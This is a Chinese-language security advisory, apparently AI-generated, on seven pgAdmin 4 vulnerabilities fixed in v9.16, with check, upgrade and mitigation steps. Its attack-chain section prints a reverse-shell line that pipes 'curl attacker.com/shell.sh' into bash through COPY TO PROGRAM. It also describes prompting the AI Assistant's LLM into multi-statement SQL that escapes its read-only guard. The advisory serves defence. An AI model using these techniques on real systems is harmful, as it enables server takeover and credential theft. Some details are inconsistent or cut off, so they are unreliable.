🚨 紧急预警
2026年6月18日,PostgreSQL 官方管理平台 pgAdmin 4 发布 v9.16 紧急安全更新,一口气修复了 7 个安全漏洞,其中 4 个为高危(CVSS 8.7 至 9.5)。攻击者可以通过 SQL 编辑器的只读模式绕过、AI 助手的事务逃逸、存储型 XSS 以及模板注入等路径,实现从数据篡改到远程代码执行的完整攻击链。如果你正在使用 pgAdmin 管理生产数据库,请立即升级。
📌 前情提要:就在37天前(2026年5月12日),我们报道了 pgAdmin 4 的 CVE-2026-7813/7815/7817 三连高危漏洞——攻击者可利用对象 ID 遍历和 SQL 注入接管整个数据库服务器。当时我们呼吁所有 pgAdmin 用户立即升级到 v9.15。然而新版本 v9.16 刚刚发布不到一天,又一批更严重的漏洞接踵而至——这次攻击面从传统的 SQL 注入扩展到了全新的 AI 助手模块,漏洞利用路径更加隐蔽、危害更大。
🔍 快速自查(2 分钟)
第一步:确认当前版本
登录 pgAdmin 4 界面后,在右上角菜单栏点击 Help → About,或查看左下角状态栏。如果你看到版本号为 9.15 或更早,则受影响。
Docker 部署的用户可以执行:
docker inspect --format='{{.Config.Image}}' <container_id>
# 或进入容器查看
docker exec -it <container_id> python3 -c "import pgadmin; print(pgadmin.__version__)"
第二步:检查是否暴露在公网
pgAdmin 4 默认监听 5050 端口。如果你将 pgAdmin 直接暴露在公网(通过反向代理或直接映射端口),风险极大。
# 检查 5050 端口是否对外开放
ss -tlnp | grep 5050
# 或使用 nmap 从外部扫描
nmap -p 5050 your-pgadmin-server
能从外部访问 5050 端口 → 高危,即使有登录保护,XSS 漏洞也能窃取管理员会话。无法访问 → 仍需升级,因为存储型 XSS 不需要公网暴露,内部威胁同样可以利用。
第三步:检查数据库角色权限
AI 助手漏洞(CVE-2026-12045)的危害程度取决于 pgAdmin 连接数据库时使用的角色权限。如果角色具有 superuser 或 pg_execute_server_program 权限,攻击链可以从数据篡改升级为服务器远程代码执行。
-- 检查 pgAdmin 连接使用的角色是否为 superuser
SELECT rolname, rolsuper, rolcreaterole, rolcreatedb
FROM pg_roles WHERE rolname IN ('pgadmin_user', 'postgres');
⚠️ 风险确认表
已确认的风险
| 漏洞类型 | 影响 | CVE |
| AI 助手事务逃逸 | 远程代码执行(superuser 场景)或任意数据篡改 | CVE-2026-12045 |
| SQL 编辑器只读绕过 | 关闭他人事务、修改连接状态,拒绝服务 | CVE-2026-12046 |
| 存储型 XSS | 窃取管理员会话 cookie、以管理员身份执行任意数据库操作、植入持久化后门账户。由于 pgAdmin 通常集中管理多个数据库实例的凭证,一次 XSS 攻击的破坏力可覆盖整个数据库集群 | CVE-2026-12048 |
| 模板 SQL 注入 | 通过 COMMENT ON 字段注入恶意 SQL,获取数据库权限 | CVE-2026-12044 |
无法排除的潜在风险
| 风险类型 | 影响 |
| 组合攻击链 | 攻击者可先利用 XSS 获取管理员会话,再利用 AI 助手漏洞实现 RCE,无需任何认证 |
| 内部威胁放大 | 低权限数据库用户可通过 AI 助手或 COMMENT 注入提升权限 |
| 数据库凭证泄露 | pgAdmin 通常保存多个数据库的连接凭证,RCE 后攻击者可直接读取 |
🛡️ 自救指南
第一步:立即升级到 pgAdmin 4 v9.16
这是最根本的解决方案。pgAdmin 4 v9.16 于 2026 年 6 月 18 日发布,修复了全部 7 个漏洞。
# pip 升级
pip install --upgrade pgadmin4==9.16
# Docker 升级(修改 docker-compose.yml 中的镜像标签)
# dpage/pgadmin4:9.16
docker compose pull && docker compose up -d
# 源码编译
git clone https://github.com/pgadmin-org/pgadmin4.git
cd pgadmin4 && git checkout REL-9_16
pip install -r requirements.txt
python setup.py
第二步:禁用 AI 助手功能(临时缓解)
如果暂时无法升级,最紧急的措施是 立即禁用 AI 助手。这是本次漏洞集群中危害最大的攻击面(CVSS 9.4),因为 AI 助手的漏洞可以在数据库服务器上实现远程代码执行。
# 在 pgAdmin 的 config_local.py 中添加
ENABLE_AI = False
# 或设置环境变量
PGADMIN_ENABLE_AI=False
第三步:限制数据库角色权限
确保 pgAdmin 连接数据库时使用的角色 不具有 superuser 权限和 pg_execute_server_program 权限。即使 AI 助手的事务逃逸成功,没有这些权限就无法通过 COPY TO PROGRAM 实现 RCE。
-- 撤销危险权限(谨慎操作)
ALTER ROLE pgadmin_user NOSUPERUSER;
REVOKE pg_execute_server_program FROM pgadmin_user;
第四步:审查审计日志
升级后立即检查 PostgreSQL 审计日志,重点关注:
- COPY ... TO PROGRAM 语句——这是 AI 助手 RCE 攻击链的关键标志
- COMMENT ON 语句中的异常内容——模板 SQL 注入的痕迹
- 非预期的事务终止(COMMIT/ROLLBACK 来自 pgAdmin)——只读绕过的标志
- 异常的 ERROR 响应内容——可能是 XSS payload 的触发源
🔬 技术深度分析
CVE-2026-12045(CVSS 9.4):AI 助手变成黑客的提权后门
这是本次漏洞集群中技术含量最高、危害最大的漏洞。pgAdmin 4 的 AI Assistant 模块允许用户通过自然语言对话与数据库交互——用户提问,LLM 生成 SQL,pgAdmin 执行查询并返回结果。为防止 AI 生成的 SQL 对数据库造成破坏,pgAdmin 在执行前对查询进行了包装:所有 AI 生成的 SQL 都被包裹在 BEGIN TRANSACTION READ ONLY 事务中,确保查询只能读取数据、不能修改或删除。
然而,这个安全机制存在一个致命缺陷:pgAdmin 在包装查询时使用的是简单的字符串拼接,并未对 LLM 返回的内容进行严格的单语句验证。攻击者只需精心构造一个多语句 payload,以 COMMIT 或 END 作为第一条语句,就能立即终止只读事务。后续的 SQL 语句将在 PostgreSQL 默认的 autocommit 模式下执行——此时只读保护荡然无存,攻击者可以执行任何数据库操作。
更危险的是,如果 pgAdmin 连接数据库时使用的角色具有 superuser 或 pg_execute_server_program 权限,攻击者可以通过 COPY ... TO PROGRAM 命令在数据库服务器上执行任意操作系统命令,实现从数据篡改到远程代码执行的完整攻击链。漏洞报告者 Isaac Chen 提供了详细的技术分析,修复方为此添加了 60 个回归测试场景。修复方案要求 LLM 生成的查询必须解析为恰好一条非空语句,且首 token 必须是 SELECT、WITH、EXPLAIN、SHOW、VALUES 或 TABLE 之一。任何包含 COMMIT、ROLLBACK、DROP、DELETE 等危险关键字的 payload 都会被直接拒绝。
攻击场景还原:四阶段攻击链
第一阶段:侦察。攻击者确认目标使用 pgAdmin 4 v9.15 或更早版本(默认 5050 端口通常可被探测),并且启用了 AI Assistant 功能(pgAdmin v9 引入的新功能,默认启用)。
第二阶段:漏洞触发。攻击者在 AI Assistant 对话框中输入精心构造的自然语言 prompt,诱导 LLM 生成多语句 SQL payload。例如,一条看似正常的查询请求中,LLM 生成的 SQL 第一句是 COMMIT,第二句是 DROP TABLE 或 COPY TO PROGRAM。由于 pgAdmin 的事务包装是简单的字符串拼接,COMMIT 会立即终止只读事务。
第三阶段:漏洞利用。只读事务被终止后,后续 SQL 在 autocommit 模式执行。如果数据库角色为 superuser,攻击者执行 COPY ... TO PROGRAM '/bin/bash -c "curl attacker.com/shell.sh | bash"',在数据库服务器上获取反向 shell。此时攻击者已完全控制数据库服务器所在的操作系统。
第四阶段:权限提升与横向移动。攻击者通过数据库服务器读取 pgAdmin 保存的所有数据库连接凭证(通常存储在 pgAdmin 的 SQLite 数据库中),然后利用这些凭证横向渗透到同一 pgAdmin 管理的其他数据库实例,形成"一个入口,全局沦陷"的雪崩效应。
CVE-2026-12046(CVSS 9.5):SQL 编辑器的信任模型崩塌
pgAdmin 的 SQL Editor 支持只读模式——管理员可以将某个事务标记为只读,防止用户执行数据修改操作。然而安全审计发现,SQL Editor blueprint 中存在两个状态变更端点未能遵循只读限制:DELETE /sqleditor/close/
这个漏洞的实际危害虽不及 AI 助手的 RCE 链,但它反映了一个更深层的架构问题:pgAdmin 的只读保护机制并非全局一致且完整。只读事务在不同模块中的执行路径不同,某些路径被遗漏。对于多人协作使用 pgAdmin 的企业环境(如 DBA 团队共享一个 pgAdmin 实例),攻击者可以通过关闭其他管理员的事务造成拒绝服务。
CVE-2026-12048(CVSS 9.3):数据库错误消息变成 XSS 武器
存储型 XSS 漏洞是 Web 应用安全的"老朋友",但在数据库管理工具中出现却有着特殊的意义。CVE-2026-12048 的根源在于 PostgreSQL 服务器返回的文本(包括 ErrorResponse 错误消息和执行计划中的关系名引用)被 pgAdmin 直接渲染到 Web 界面中,未经任何 HTML 转义处理,直接注入到 DOM 结构中。
攻击路径可以这样构建:首先,通过 COMMENT ON 注入漏洞(CVE-2026-12044)在数据库中植入含 XSS payload 的恶意对象名称或注释(例如 COMMENT ON TABLE users IS '')。然后,当 pgAdmin 用户浏览该表的信息面板或查看执行计划时,恶意脚本自动执行,窃取管理员的 pgAdmin 会话 cookie。攻击者利用窃取的 cookie 接管 pgAdmin 实例,进而利用 AI 助手漏洞实现 RCE。
CVE-2026-12044(CVSS 8.7):COMMENT ON 模板的隐秘后门
pgAdmin 使用 Jinja2 模板引擎生成各种 SQL 语句,其中 COMMENT ON 功能(为数据库对象添加注释)的模板中,多个位置的参数使用了 str.format() 字符串拼接而非参数绑定。这意味着用户输入的注释内容被直接拼接到 SQL 字符串中,没有经过 SQL 注入防护。
受影响的模板覆盖了 Domains(域)、Constraints(约束)、Rules(规则)等多个核心数据库对象类型。攻击者可以通过恶意注释注入任意 SQL 语句,创建后门账户、修改数据或为 XSS 攻击链植入 payload。由于 COMMENT ON 在 PostgreSQL 中是常见的管理操作,DBA 在日常工作中频繁使用此功能,而 pgAdmin 在将注释内容拼接到 SQL 时使用的 str.format() 方法没有任何输入验证或参数化处理,这使得注入操作既隐蔽又容易实施。这个漏洞的 CVSS 评分为 8.7,单独使用已经构成高危风险,而与 XSS 漏洞组合使用则形成了完整的攻击链。
pgAdmin 是 PostgreSQL 生态中最核心、使用最广泛的图形化管理工具,而 PostgreSQL 在中国的市场渗透率近年来持续攀升。阿里云 RDS 和 腾讯云 TDSQL 均支持 PostgreSQL 引擎,大量企业将 pgAdmin 作为数据库运维的标准工具。此外,开源国产数据库 openGauss(华为)和 AntDB(腾讯)也兼容 PostgreSQL 协议,pgAdmin 可以直接管理这些国产数据库。
尤其值得注意的是,pgAdmin 的 AI Assistant 功能在 v9 中引入,恰逢 AI 热潮席卷中国数据库行业——越来越多的 DBA 团队开始尝试用 AI 辅助编写 SQL 和分析执行计划。这意味着 AI 助手功能在中国的启用率可能高于全球平均水平,而本次最严重的漏洞(CVE-2026-12045,CVSS 9.4)恰恰就出在 AI 助手上。如果一个使用 superuser 权限连接的 DBA 在 pgAdmin 中启用了 AI 助手,攻击者只需要诱使他输入一个精心设计的 prompt,就能在数据库服务器上执行任意命令。
对于使用 pgAdmin 管理 openGauss 或 AntDB 的企业用户,风险同样存在。虽然这些国产数据库的安全机制可能与标准 PostgreSQL 有差异,但 pgAdmin 的漏洞存在于应用层(事务包装、XSS 渲染),与底层数据库引擎无关。无论后端是 PostgreSQL、openGauss 还是 AntDB,pgAdmin 9.15 及更早版本均受影响。
📜 pgAdmin 安全历史回顾这已经是 pgAdmin 4 在 2026 年第二次集中披露高危漏洞了。回顾近一年的安全历史:
| 时间 | CVE | 漏洞类型 | CVSS |
| 2026-05-12 | CVE-2026-7813/7815/7817 | 对象 ID 遍历 + SQL 注入 | 9.8 / 8.7 / 8.6 |
| 2026-06-18 | CVE-2026-12045/12046/12048/12044 | AI 事务逃逸 + 只读绕过 + XSS + 注入 | 9.4 / 9.5 / 9.3 / 8.7 |
短短 37 天内两次大规模漏洞披露,暴露了 pgAdmin 安全开发流程的系统性问题:新功能的引入速度远超安全审计的覆盖速度。AI Assistant 是 v9 的重要卖点,但其安全防护仅依赖简单的字符串拼接包装,未经严格的安全代码审查。同样,SQL Editor 的只读模式和 Jinja2 模板引擎中存在多年的未转义问题,说明 pgAdmin 的安全审计存在大量盲区。
对于企业安全团队来说,这种模式比单个高危漏洞更令人担忧。它意味着 pgAdmin 的代码库中可能还潜伏着大量未被发现的安全缺陷。依赖 pgAdmin 作为核心数据库运维工具的企业,需要将 pgAdmin 纳入持续的安全监控和漏洞响应流程中,而不能仅在 CVE 披露后才被动升级。
🏢 企业应急响应建议
- 资产盘点:立即清点所有 pgAdmin 实例的版本和部署方式(Docker、pip、源码编译),确认 AI Assistant 功能的启用状态。优先处理暴露在公网的实例。
- 权限最小化:为 pgAdmin 连接创建专用的低权限数据库角色,仅授予必要的 SELECT 权限,撤销 superuser 和 pg_execute_server_program 权限。即使是 DBA 的日常工作,也应使用受限角色连接,仅在必要时切换到高权限角色。
- 网络隔离:将 pgAdmin 部署在内网,禁止公网直接访问 5050 端口。如需远程访问,通过 VPN + SSH 隧道方式接入。pgAdmin 4 支持 SSH 隧道模式连接数据库,应作为默认的远程连接方式。
- 监控告警:在 PostgreSQL 中启用 pgAudit 扩展,记录所有 DDL 和 DML 操作。重点关注 COPY TO PROGRAM、COMMENT ON、非预期的 COMMIT/ROLLBACK 等异常操作。将审计日志与 SIEM 系统对接,实现实时告警。特别关注来自 pgAdmin 服务器的非预期连接模式——如果 pgAdmin 实例通常只连接特定的数据库实例,突然出现到新目标的连接尝试,可能意味着攻击者正在利用窃取的凭证进行横向移动。
- 分阶段升级:非生产环境立即升级到 v9.16。生产环境先在测试实例验证兼容性,再通过灰度发布方式逐步升级。升级前做好数据库备份和 pgAdmin 配置备份。
🔗 解决方案与参考资料
官方修复版本:pgAdmin 4 v9.16(2026-06-18 发布),建议所有用户立即升级。修复 commit:github.com/pgadmin-org/pgadmin4/commit/bf479244
受影响版本:pgAdmin 4 v9.15 及所有更早版本
漏洞报告者:Isaac Chen(isaac9503@gmail.com),CVE-2026-12045 的报告者提供了极其详尽的技术分析和 PoC
下载地址:www.pgadmin.org/download/
龙虾池子 · AI 自动生成
夜雨聆风